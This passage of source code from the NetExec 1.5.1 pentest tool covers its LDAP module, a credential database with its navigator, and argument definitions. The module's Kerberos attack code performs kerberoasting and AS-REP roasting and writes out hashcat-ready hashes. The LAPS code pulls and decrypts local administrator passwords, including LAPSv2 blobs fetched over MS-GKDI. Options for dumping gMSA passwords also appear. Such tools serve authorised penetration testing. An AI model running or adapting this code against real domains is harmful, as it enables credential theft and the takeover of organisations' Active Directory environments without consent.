col.name not in "id"} q_users = q_users.on_conflict_do_update(index_elements=self.UsersTable.primary_key, set_=update_columns_users) nxc_logger.debug(f"Adding credentials: {credentials}") self.db_execute(q_users, credentials) # .scalar() if groups: q_groups = Insert(self.GroupRelationsTable) self.db_execute(q_groups, groups) def remove_credentials(self, creds_id): """Removes a credential ID from the database""" del_hosts = [] for cred_id in creds_id: q = delete(self.UsersTable).filter(self.UsersTable.c.id == cred_id) del_hosts.append(q) self.db_execute(q) def is_credential_valid(self, credential_id): """Check if this credential ID is valid.""" q = select(self.UsersTable).filter( self.UsersTable.c.id == credential_id, self.UsersTable.c.password is not None, ) results = self.db_execute(q).all() return len(results) > 0 def get_credentials(self, filter_term=None, cred_type=None): """Return credentials from the database.""" # if we're returning a single credential by ID if self.is_credential_valid(filter_term): q = select(self.UsersTable).filter(self.UsersTable.c.id == filter_term) elif cred_type: q = select(self.UsersTable).filter(self.UsersTable.c.credtype == cred_type) # if we're filtering by username elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") q = select(self.UsersTable).filter(func.lower(self.UsersTable.c.username).like(like_term)) # otherwise return all credentials else: q = select(self.UsersTable) return self.db_execute(q).all() def get_credential(self, cred_type, domain, username, password): q = select(self.UsersTable).filter( self.UsersTable.c.domain == domain, self.UsersTable.c.username == username, self.UsersTable.c.password == password, self.UsersTable.c.credtype == cred_type, ) results = self.db_execute(q).first() return results.id def get_hosts(self, filter_term=None, domain=None): """Return hosts from the database.""" q = select(self.HostsTable) # if we're returning a single host by ID if self.is_host_valid(filter_term): q = q.filter(self.HostsTable.c.id == filter_term) results = self.db_execute(q).first() # all() returns a list, so we keep the return format the same so consumers don't have to guess return [results] elif filter_term is not None and filter_term.startswith("domain"): domain = filter_term.split()[1] like_term = func.lower(f"%{domain}%") q = q.filter(self.HostsTable.c.domain.like(like_term)) # if we're filtering by ip/hostname elif filter_term and filter_term != "": q = format_host_query(q, filter_term, self.HostsTable) results = self.db_execute(q).all() nxc_logger.debug(f"ldap hosts() - results: {results}") return results def is_host_valid(self, host_id): """Check if this host ID is valid.""" q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id) results = self.db_execute(q).all() return len(results) > 0 NetExec-1.5.1/nxc/protocols/ldap/db_navigator.py000066400000000000000000000153751514706431700216410ustar00rootroot00000000000000from nxc.helpers.misc import validate_ntlm from nxc.nxcdb import DatabaseNavigator, print_table, print_help class navigator(DatabaseNavigator): def display_hosts(self, hosts): data = [ [ "HostID", "IP", "Hostname", "Domain", "OS", "LDAP signing required", "LDAPS channel binding" ] ] for host in hosts: host_id = host[0] ip = host[1] hostname = host[2] domain = host[3] try: os = host[4].decode() except Exception: os = host[4] signing_required = host[5] channel_binding = host[6] data.append( [ host_id, ip, hostname, domain, os, signing_required, channel_binding ] ) print_table(data, title="Hosts") def do_hosts(self, line): filter_term = line.strip() if filter_term == "": hosts = self.db.get_hosts() self.display_hosts(hosts) else: hosts = self.db.get_hosts(filter_term=filter_term) if len(hosts) > 1: self.display_hosts(hosts) elif len(hosts) == 1: data = [ [ "HostID", "IP", "Hostname", "Domain", "OS", "LDAP signing required", "LDAPS channel binding" ] ] host_id_list = [] for host in hosts: host_id = host[0] host_id_list.append(host_id) ip = host[1] hostname = host[2] domain = host[3] try: os = host[4].decode() except Exception: os = host[4] signing_required = host[5] channel_binding = host[6] data.append( [ host_id, ip, hostname, domain, os, signing_required, channel_binding ] ) print_table(data, title="Host") def help_hosts(self): help_string = """ hosts [filter_term] By default prints all hosts Table format: | 'HostID', 'IP', 'Hostname', 'Domain', 'OS' | Subcommands: filter_term - filters hosts with filter_term If a single host is returned (e.g. `hosts 15`, it prints the following tables: Host | 'HostID', 'IP', 'Hostname', 'Domain', 'OS' | Otherwise, it prints the default host table from a `like` query on the `ip` and `hostname` columns """ print_help(help_string) def display_creds(self, creds): data = [["CredID", "CredType", "Domain", "UserName", "Password"]] for cred in creds: cred_id = cred[0] domain = cred[1] username = cred[2] password = cred[3] credtype = cred[4] data.append( [ cred_id, credtype, domain, username, password ] ) print_table(data, title="Credentials") def do_creds(self, line): filter_term = line.strip() if filter_term == "": creds = self.db.get_credentials() self.display_creds(creds) elif filter_term.split()[0].lower() == "add": args = filter_term.split()[1:] if len(args) == 3: domain, username, password = args if validate_ntlm(password): self.db.add_credential("hash", domain, username, password) else: self.db.add_credential("plaintext", domain, username, password) else: print("[!] Format is 'add domain username password") return elif filter_term.split()[0].lower() == "remove": args = filter_term.split()[1:] if len(args) != 1: print("[!] Format is 'remove '") return else: self.db.remove_credentials(args) elif filter_term.split()[0].lower() == "plaintext": creds = self.db.get_credentials(cred_type="plaintext") self.display_creds(creds) elif filter_term.split()[0].lower() == "hash": creds = self.db.get_credentials(cred_type="hash") self.display_creds(creds) else: creds = self.db.get_credentials(filter_term=filter_term) data = [["CredID", "CredType", "Domain", "UserName", "Password"]] cred_id_list = [] for cred in creds: cred_id_list.append(cred[0]) data.append([cred[0], cred[1], cred[2], cred[3], cred[4]]) print_table(data, title="Credential(s)") def help_creds(self): help_string = """ creds [add|remove|plaintext|hash|filter_term] By default prints all creds Table format: | 'CredID', 'CredType', 'Domain', 'UserName', 'Password' | Subcommands: add - format: "add domain username password " remove - format: "remove " plaintext - prints plaintext creds hash - prints hashed creds filter_term - filters creds with filter_term If a single credential is returned (e.g. `creds 15`, it prints the following tables: Credential(s) | 'CredID', 'CredType', 'Domain', 'UserName', 'Password' Otherwise, it prints the default credential table from a `like` query on the `username` column """ print_help(help_string) def do_clear_database(self, line): if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": self.db.clear_database() def help_clear_database(self): help_string = """ clear_database THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE YOU CANNOT UNDO THIS COMMAND """ print_help(help_string) NetExec-1.5.1/nxc/protocols/ldap/gmsa.py000066400000000000000000000026021514706431700201160ustar00rootroot00000000000000from impacket.structure import Structure class MSDS_MANAGEDPASSWORD_BLOB(Structure): structure = ( ("Version", "= 3.11 # if we are in a lower version, we will use the deprecated utcnow() method from datetime import UTC utc_failed = False except ImportError: utc_failed = True from os import getenv from impacket.krb5 import constants from impacket.krb5.asn1 import TGS_REP, AS_REQ, AS_REP, KERB_PA_PAC_REQUEST, KRB_ERROR, seq_set, seq_set_iter from impacket.krb5.ccache import CCache from impacket.krb5.kerberosv5 import sendReceive, KerberosError, getKerberosTGT from impacket.krb5.types import KerberosTime, Principal from impacket.ntlm import compute_lmhash, compute_nthash from pyasn1.codec.der import decoder, encoder from pyasn1.type.univ import noValue from nxc.logger import nxc_logger class KerberosAttacks: def __init__(self, connection): self.username = connection.username self.password = connection.password self.domain = connection.domain self.host = connection.host self.targetDomain = connection.targetDomain self.hash = connection.hash self.lmhash = "" self.nthash = "" self.aesKey = connection.aesKey self.kdcHost = connection.kdcHost self.kerberos = connection.kerberos if self.hash is not None: if self.hash.find(":") != -1: self.lmhash, self.nthash = self.hash.split(":") else: self.nthash = self.hash if self.password is None: self.password = "" def output_tgs(self, tgs, old_session_key, session_key, username, spn, fd=None, is_computer=False): decoded_tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] # According to RFC4757 (RC4-HMAC) the cipher part is like: # struct EDATA { # struct HEADER { # OCTET Checksum[16]; # OCTET Confounder[8]; # } Header; # OCTET Data[0]; # } edata; # # In short, we're interested in splitting the checksum and the rest of the encrypted data # # Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96) # last 12 bytes of the encrypted ticket represent the checksum of the decrypted # ticket # Define variables enc = decoded_tgs["ticket"]["enc-part"] etype = enc["etype"] cipher = enc["cipher"].asOctets() realm = decoded_tgs["ticket"]["realm"] spn_fmt = spn.replace(":", "~") # Replace username if it's a computer account if is_computer: account = f"host{username.rstrip('$').lower()}.{str(realm).lower()}" else: if username.endswith("$"): nxc_logger.fail("Account ends with $, but is_computer is False. TGS output is likely to be incorrect.") account = username if etype in (constants.EncryptionTypes.rc4_hmac.value, constants.EncryptionTypes.des_cbc_md5.value): chk = hexlify(cipher[:16]).decode() data = hexlify(cipher[16:]).decode() entry = f"$krb5tgs${etype}$*{account}${realm}${spn_fmt}*${chk}${data}" elif etype in (constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value): chk = hexlify(cipher[-12:]).decode() data = hexlify(cipher[:-12]).decode() entry = f"$krb5tgs${etype}${account}${realm}$*{spn_fmt}*${chk}${data}" else: nxc_logger.fail(f"Skipping {decoded_tgs['ticket']['sname']['name-string'][0]}/{decoded_tgs['ticket']['sname']['name-string'][1]} due to incompatible e-type {decoded_tgs['ticket']['enc-part']['etype']:d}") return entry def output_tgs_from_asrep(self, asrep_blob, spn, fd=None): asrep = decoder.decode(asrep_blob, asn1Spec=AS_REP())[0] realm = self.domain.upper() enc = asrep["ticket"]["enc-part"] etype = enc["etype"] cipher = enc["cipher"].asOctets() service = spn.split("/")[0] spn_fmt = spn.replace(":", "~") if etype == constants.EncryptionTypes.rc4_hmac.value: # 23 chk = hexlify(cipher[:16]).decode() data = hexlify(cipher[16:]).decode() entry = f"$krb5tgs${etype}$*{service}${realm}${spn_fmt}*${chk}${data}" elif etype in ( constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, # 17 constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, # 18 ): chk = hexlify(cipher[-12:]).decode() data = hexlify(cipher[:-12]).decode() entry = f"$krb5tgs${etype}${service}${realm}$*{spn_fmt}*${chk}${data}" else: self.logger.fail(f"[{spn}] etype {etype} not supported") return None if fd: fd.write(entry + "\n") return entry def get_tgt_kerberoasting(self, kcache=None): if kcache: if getenv("KRB5CCNAME"): nxc_logger.debug("KRB5CCNAME environment variable exists, attempting to use that...") try: ccache = CCache.loadFile(getenv("KRB5CCNAME")) # retrieve user and domain information from CCache file if needed domain = ccache.principal.realm["data"] if self.domain == "" else self.domain nxc_logger.debug(f"Using Kerberos Cache: {getenv('KRB5CCNAME')}") principal = f"krbtgt/{domain.upper()}@{domain.upper()}" creds = ccache.getCredential(principal) if creds is not None: tgt = creds.toTGT() nxc_logger.debug("Using TGT from cache") return tgt else: nxc_logger.debug("No valid credentials found in cache") except Exception: pass else: nxc_logger.fail("KRB5CCNAME environment variable not found, unable to use Kerberos Cache") # No TGT in cache, request it user_name = Principal(self.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) # In order to maximize the probability of getting session tickets with RC4 etype, we will convert the # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the # cleartext password. # If no clear text password is provided, we just go with the defaults. if self.password != "" and (self.lmhash == "" and self.nthash == ""): try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( user_name, "", self.domain, compute_lmhash(self.password), compute_nthash(self.password), self.aesKey, kdcHost=self.kdcHost, ) except OSError as e: if e.errno == 113: nxc_logger.fail(f"Unable to resolve KDC hostname: {e!s}") else: nxc_logger.fail(f"Some other OSError occured: {e!s}") return None except Exception as e: nxc_logger.debug(f"TGT: {e!s}") tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( user_name, self.password, self.domain, unhexlify(self.lmhash), unhexlify(self.nthash), self.aesKey, kdcHost=self.kdcHost, ) else: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( user_name, self.password, self.domain, unhexlify(self.lmhash), unhexlify(self.nthash), self.aesKey, kdcHost=self.kdcHost, ) tgt_data = {} tgt_data["KDC_REP"] = tgt tgt_data["cipher"] = cipher tgt_data["sessionKey"] = sessionKey nxc_logger.debug(f"Final TGT: {tgt_data}") return tgt_data def get_tgs_no_preauth(self, no_preauth_user, spn): no_pre_princ = Principal(no_preauth_user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) try: ticket, _cipher, _old, _sess = getKerberosTGT( clientName=no_pre_princ, password="", domain=self.domain, lmhash=b"", nthash=b"", aesKey="", kdcHost=self.kdcHost, serverName=spn, kerberoast_no_preauth=True ) except Exception as e: nxc_logger.debug(f"Unable to retrieve the ticket for {spn} via {no_preauth_user}: {e}") return None return self.output_tgs_from_asrep(ticket, spn) def get_tgt_asroast(self, userName, requestPAC=True): client_name = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value) as_req = AS_REQ() domain = self.targetDomain.upper() server_name = Principal(f"krbtgt/{domain}", type=constants.PrincipalNameType.NT_PRINCIPAL.value) pac_request = KERB_PA_PAC_REQUEST() pac_request["include-pac"] = requestPAC encoded_pac_request = encoder.encode(pac_request) as_req["pvno"] = 5 as_req["msg-type"] = int(constants.ApplicationTagNumbers.AS_REQ.value) as_req["padata"] = noValue as_req["padata"][0] = noValue as_req["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) as_req["padata"][0]["padata-value"] = encoded_pac_request req_body = seq_set(as_req, "req-body") opts = [] opts.extend((constants.KDCOptions.forwardable.value, constants.KDCOptions.renewable.value, constants.KDCOptions.proxiable.value)) req_body["kdc-options"] = constants.encodeFlags(opts) seq_set(req_body, "sname", server_name.components_to_asn1) seq_set(req_body, "cname", client_name.components_to_asn1) if domain == "": nxc_logger.error("Empty Domain not allowed in Kerberos") return None req_body["realm"] = domain # When we drop python 3.10 support utcnow() can be removed, as it is deprecated now = datetime.utcnow() + timedelta(days=1) if utc_failed else datetime.now(UTC) + timedelta(days=1) req_body["till"] = KerberosTime.to_asn1(now) req_body["rtime"] = KerberosTime.to_asn1(now) req_body["nonce"] = random.getrandbits(31) supported_ciphers = (int(constants.EncryptionTypes.rc4_hmac.value),) seq_set_iter(req_body, "etype", supported_ciphers) message = encoder.encode(as_req) # If kdcHost isn't set, use the target IP for DNS resolution if not self.kdcHost: self.kdcHost = self.host try: r = sendReceive(message, domain, self.kdcHost) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # RC4 not available, OK, let's ask for newer types supported_ciphers = ( int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value), ) seq_set_iter(req_body, "etype", supported_ciphers) message = encoder.encode(as_req) r = sendReceive(message, domain, self.kdcHost) elif e.getErrorCode() == constants.ErrorCodes.KDC_ERR_KEY_EXPIRED.value: return f"Password of user {userName} expired but user doesn't require pre-auth" else: nxc_logger.fail(e) nxc_logger.debug(traceback.format_exc()) return None # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the # 'Do not require Kerberos preauthentication' set try: as_rep = decoder.decode(r, asn1Spec=KRB_ERROR())[0] except Exception: # Most of the times we shouldn't be here, is this a TGT? as_rep = decoder.decode(r, asn1Spec=AS_REP())[0] else: # The user doesn't have UF_DONT_REQUIRE_PREAUTH set nxc_logger.debug(f"User {userName} doesn't have UF_DONT_REQUIRE_PREAUTH set") return None # Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it. hash_tgt = f"$krb5asrep${as_rep['enc-part']['etype']}${client_name}@{domain}:" if as_rep["enc-part"]["etype"] in (17, 18): hash_tgt += f"{hexlify(as_rep['enc-part']['cipher'].asOctets()[:12]).decode()}${hexlify(as_rep['enc-part']['cipher'].asOctets()[12:]).decode()}" else: hash_tgt += f"{hexlify(as_rep['enc-part']['cipher'].asOctets()[:16]).decode()}${hexlify(as_rep['enc-part']['cipher'].asOctets()[16:]).decode()}" return hash_tgt NetExec-1.5.1/nxc/protocols/ldap/laps.py000066400000000000000000000365361514706431700201430ustar00rootroot00000000000000from json import loads from pyasn1.codec.der import decoder from pyasn1_modules import rfc5652 from impacket.ldap import ldap as ldap_impacket from impacket.krb5.kerberosv5 import KerberosError from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5.epm import hept_map from impacket.dcerpc.v5.gkdi import MSRPC_UUID_GKDI, GkdiGetKey, GroupKeyEnvelope from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY from impacket.dpapi_ng import EncryptedPasswordBlob, KeyIdentifier, compute_kek, create_sd, decrypt_plaintext, unwrap_cek from nxc.logger import NXCAdapter ldap_error_status = { "1": "STATUS_NOT_SUPPORTED", "533": "STATUS_ACCOUNT_DISABLED", "701": "STATUS_ACCOUNT_EXPIRED", "531": "STATUS_ACCOUNT_RESTRICTION", "530": "STATUS_INVALID_LOGON_HOURS", "532": "STATUS_PASSWORD_EXPIRED", "773": "STATUS_PASSWORD_MUST_CHANGE", "775": "USER_ACCOUNT_LOCKED", "50": "LDAP_INSUFFICIENT_ACCESS", "KDC_ERR_CLIENT_REVOKED": "KDC_ERR_CLIENT_REVOKED", "KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED", } class LDAPConnect: def __init__(self, host, port, hostname): self.logger = None self.proto_logger(host, port, hostname) def proto_logger(self, host, port, hostname): self.logger = NXCAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname}) def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False, dns_server=""): lmhash = "" nthash = "" if kdcHost is None or domain not in kdcHost: self.logger.fail("Please provide the FQDN of the domain controller with --kdcHost") exit(1) # This checks to see if we didn't provide the LM Hash if ntlm_hash and ntlm_hash.find(":") != -1: lmhash, nthash = ntlm_hash.split(":") elif ntlm_hash: nthash = ntlm_hash # Create the baseDN baseDN = "" domainParts = domain.split(".") for i in domainParts: baseDN += f"DC={i}," # Remove last ',' baseDN = baseDN[:-1] try: self.logger.info(f"Connecting to ldap://{kdcHost} - {baseDN} - {domain} [1]") ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{kdcHost}", baseDN, dns_server if dns_server else domain) ldap_connection.kerberosLogin( username, password, domain, lmhash, nthash, aesKey, kdcHost=kdcHost, useCache=False, ) # Connect to LDAP self.logger.extra["protocol"] = "LDAP" self.logger.extra["port"] = "389" return ldap_connection except ldap_impacket.LDAPSessionError as e: if str(e).find("strongerAuthRequired") >= 0: # We need to try SSL try: ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN, dns_server if dns_server else domain) ldap_connection.login( username, password, domain, lmhash, nthash, aesKey, kdcHost=kdcHost, useCache=False, ) self.logger.extra["protocol"] = "LDAPS" self.logger.extra["port"] = "636" return ldap_connection except ldap_impacket.LDAPSessionError as e: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status.get(error_code, '')}", color="magenta" if error_code in ldap_error_status else "red", ) else: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status.get(error_code, '')}", color="magenta" if error_code in ldap_error_status else "red", ) return False except OSError: self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}") return False except KerberosError as e: self.logger.fail(f"{domain}\\{username}:{password if password else ntlm_hash} {e!s}", color="red") return False def auth_login(self, domain, username, password, ntlm_hash, dns_server): lmhash = "" nthash = "" # This checks to see if we didn't provide the LM Hash if ntlm_hash and ntlm_hash.find(":") != -1: lmhash, nthash = ntlm_hash.split(":") elif ntlm_hash: nthash = ntlm_hash # Create the baseDN base_dn = "" domain_parts = domain.split(".") for i in domain_parts: base_dn += f"dc={i}," # Remove last ',' base_dn = base_dn[:-1] try: ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{domain}", base_dn, dns_server if dns_server else domain) ldap_connection.login(username, password, domain, lmhash, nthash) # Connect to LDAP self.logger.extra["protocol"] = "LDAP" self.logger.extra["port"] = "389" return ldap_connection except ldap_impacket.LDAPSessionError as e: if str(e).find("strongerAuthRequired") >= 0: # We need to try SSL try: ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", base_dn, dns_server if dns_server else domain) ldap_connection.login(username, password, domain, lmhash, nthash) self.logger.extra["protocol"] = "LDAPS" self.logger.extra["port"] = "636" return ldap_connection except ldap_impacket.LDAPSessionError as e: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status.get(error_code, '')}", color="magenta" if error_code in ldap_error_status else "red", ) else: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status.get(error_code, '')}", color="magenta" if error_code in ldap_error_status else "red", ) return False except OSError: self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}") return False class LAPSv2Extract: def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port, dns_server): if ntlm_hash.find(":") != -1: self.lmhash, self.nthash = ntlm_hash.split(":") else: self.nthash = ntlm_hash self.lmhash = "" self.data = data self.username = username self.password = password self.domain = domain self.do_kerberos = do_kerberos self.kdcHost = kdcHost self.logger = None self.dns_server = dns_server self.proto_logger(self.domain, port, self.domain) def proto_logger(self, host, port, hostname): self.logger = NXCAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname}) def run(self): kds_cache = {} self.logger.info("[-] Unpacking blob") try: encrypted_laps_blob = EncryptedPasswordBlob(self.data) parsed_cms_data, remaining = decoder.decode(encrypted_laps_blob["Blob"], asn1Spec=rfc5652.ContentInfo()) enveloped_data_blob = parsed_cms_data["content"] parsed_enveloped_data, _ = decoder.decode(enveloped_data_blob, asn1Spec=rfc5652.EnvelopedData()) recipient_infos = parsed_enveloped_data["recipientInfos"] kek_recipient_info = recipient_infos[0]["kekri"] kek_identifier = kek_recipient_info["kekid"] key_id = KeyIdentifier(bytes(kek_identifier["keyIdentifier"])) tmp, _ = decoder.decode(kek_identifier["other"]["keyAttr"]) sid = tmp["field-1"][0][0][1].asOctets().decode("utf-8") target_sd = create_sd(sid) except Exception as e: self.logger.error(f"Cannot unpack msLAPS-EncryptedPassword blob due to error {e}") return None # Check if item is in cache if key_id["RootKeyId"] in kds_cache: self.logger.info("Got KDS from cache") gke = kds_cache[key_id["RootKeyId"]] else: # Connect on RPC over TCP to MS-GKDI to call opnum 0 GetKey string_binding = hept_map(destHost=self.domain if not self.dns_server else self.dns_server, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp") rpc_transport = transport.DCERPCTransportFactory(string_binding) if hasattr(rpc_transport, "set_credentials"): rpc_transport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash) if self.do_kerberos: self.logger.info("Connecting using kerberos") rpc_transport.set_kerberos(self.do_kerberos, kdcHost=self.kdcHost) dce = rpc_transport.get_dce_rpc() dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) self.logger.info(f"Connecting to {string_binding}") try: dce.connect() except Exception as e: self.logger.error(f"Something went wrong, check error status => {e}") return False self.logger.info("Connected") try: dce.bind(MSRPC_UUID_GKDI) except Exception as e: self.logger.error(f"Something went wrong, check error status => {e!s}") return False self.logger.info("Successfully bound") self.logger.info("Calling MS-GKDI GetKey") resp = GkdiGetKey(dce, target_sd=target_sd, l0=key_id["L0Index"], l1=key_id["L1Index"], l2=key_id["L2Index"], root_key_id=key_id["RootKeyId"]) self.logger.info("Decrypting password") # Unpack GroupKeyEnvelope gke = GroupKeyEnvelope(b"".join(resp["pbbOut"])) kds_cache[gke["RootKeyId"]] = gke kek = compute_kek(gke, key_id) self.logger.info(f"KEK:\t{kek}") enc_content_parameter = bytes(parsed_enveloped_data["encryptedContentInfo"]["contentEncryptionAlgorithm"]["parameters"]) iv, _ = decoder.decode(enc_content_parameter) iv = bytes(iv[0]) cek = unwrap_cek(kek, bytes(kek_recipient_info["encryptedKey"])) self.logger.info(f"CEK:\t{cek}") plaintext = decrypt_plaintext(cek, iv, remaining) self.logger.info(plaintext[:-18].decode("utf-16le")) return plaintext[:-18].decode("utf-16le") def laps_search(self, username, password, cred_type, domain, dns_server): prev_protocol = self.logger.extra["protocol"] prev_port = self.logger.extra["port"] self.logger.extra["protocol"] = "LDAP" self.logger.extra["port"] = "389" ldapco = LDAPConnect(self.domain, "389", self.domain) if self.kerberos: if self.kdcHost is None: self.logger.fail("Add --kdcHost parameter to use laps with kerberos") return None, None, None connection = ldapco.kerberos_login( domain[0], username[0] if username else "", password[0] if cred_type[0] == "plaintext" else "", password[0] if cred_type[0] == "hash" else "", kdcHost=self.kdcHost, aesKey=self.aesKey, dns_server=dns_server ) else: connection = ldapco.auth_login( domain[0], username[0] if username else "", password[0] if cred_type[0] == "plaintext" else "", password[0] if cred_type[0] == "hash" else "", dns_server ) if not connection: self.logger.fail(f"LDAP connection failed with account {username[0]}") return None, None, None search_filter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.hostname + "))" attributes = [ "msLAPS-EncryptedPassword", "msLAPS-Password", "ms-MCS-AdmPwd", "sAMAccountName", ] results = connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) msMCSAdmPwd = "" sAMAccountName = "" username_laps = "" from impacket.ldap import ldapasn1 as ldapasn1_impacket results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)] if len(results) != 0: for host in results: values = {str(attr["type"]).lower(): attr["vals"][0] for attr in host["attributes"]} if "mslaps-encryptedpassword" in values: msMCSAdmPwd = values["mslaps-encryptedpassword"] d = LAPSv2Extract( bytes(msMCSAdmPwd), username[0] if username else "", password[0] if cred_type[0] == "plaintext" else "", domain[0], password[0] if cred_type[0] == "hash" else "", self.kerberos, self.kdcHost, 339, dns_server ) try: data = d.run() except Exception as e: self.logger.fail(str(e)) return None, None, None r = loads(data) msMCSAdmPwd = r["p"] username_laps = r["n"] elif "mslaps-password" in values: r = loads(str(values["mslaps-password"])) msMCSAdmPwd = r["p"] username_laps = r["n"] elif "ms-mcs-admpwd" in values: msMCSAdmPwd = str(values["ms-mcs-admpwd"]) else: self.logger.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password") self.logger.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}") else: self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}") return None, None, None if msMCSAdmPwd == "": self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}") return None, None, None username = username_laps if username_laps else self.args.laps password = msMCSAdmPwd domain = self.hostname self.args.local_auth = True self.kerberos = False self.logger.extra["protocol"] = prev_protocol self.logger.extra["port"] = prev_port return username, password, domain NetExec-1.5.1/nxc/protocols/ldap/proto_args.py000066400000000000000000000104631514706431700213520ustar00rootroot00000000000000from nxc.helpers.args import DefaultTrackingAction, DisplayDefaultsNotNone, get_conditional_action from argparse import _StoreAction def proto_args(parser, parents): ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=parents, formatter_class=DisplayDefaultsNotNone) dgroup = ldap_parser.add_mutually_exclusive_group() dgroup.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") dgroup.add_argument("--simple-bind", action="store_true", help="Use simple bind authentication (no signing/sealing)") ldap_parser.add_argument("--port", type=int, default=389, action=DefaultTrackingAction, help="LDAP port") ldap_parser.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to") egroup = ldap_parser.add_argument_group("Retrieve hash on the remote DC", "Options to get hashes from Kerberos") egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file") kerberoasting_arg = egroup.add_argument("--kerberoasting", "--kerberoast", help="Output TGS ticket to crack with hashcat to file") kerberoast_users_arg = egroup.add_argument("--kerberoast-account", nargs="+", dest="kerberoast_account", action=get_conditional_action(_StoreAction), make_required=[], help="Target specific accounts for kerberoasting (sAMAccountNames or file containing sAMAccountNames)") egroup.add_argument("--no-preauth-targets", nargs=1, dest="no_preauth_targets", help="Targeted kerberoastable users") # Make kerberoast-users require kerberoasting kerberoast_users_arg.make_required = [kerberoasting_arg] vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain") vgroup.add_argument("--base-dn", metavar="BASE_DN", dest="base_dn", type=str, default=None, help="base DN for search queries") vgroup.add_argument("--query", nargs=2, help="Query LDAP with a custom filter and attributes") vgroup.add_argument("--find-delegation", action="store_true", help="Finds delegation relationships within an Active Directory domain. (Enabled Accounts only)") vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION") vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD") vgroup.add_argument("--admin-count", action="store_true", help="Get user that had the value adminCount=1") vgroup.add_argument("--users", nargs="*", help="Enumerate domain users") vgroup.add_argument("--users-export", help="Enumerate domain users and export them to the specified file") vgroup.add_argument("--groups", nargs="?", const="", help="Enumerate domain groups, if a group is specified than its members are enumerated") vgroup.add_argument("--computers", action="store_true", help="Enumerate domain computers") vgroup.add_argument("--dc-list", action="store_true", help="Enumerate Domain Controllers") vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid") vgroup.add_argument("--active-users", nargs="*", help="Get Active Domain Users Accounts") vgroup.add_argument("--pso", action="store_true", help="Get Fine Grained Password Policy/PSOs") vgroup.add_argument("--pass-pol", action="store_true", help="Dump password policy") ggroup = ldap_parser.add_argument_group("Retrieve gmsa on the remote DC", "Options to play with gmsa") ggroup.add_argument("--gmsa", action="store_true", help="Enumerate GMSA passwords") ggroup.add_argument("--gmsa-convert-id", help="Get the secret name of specific gmsa or all 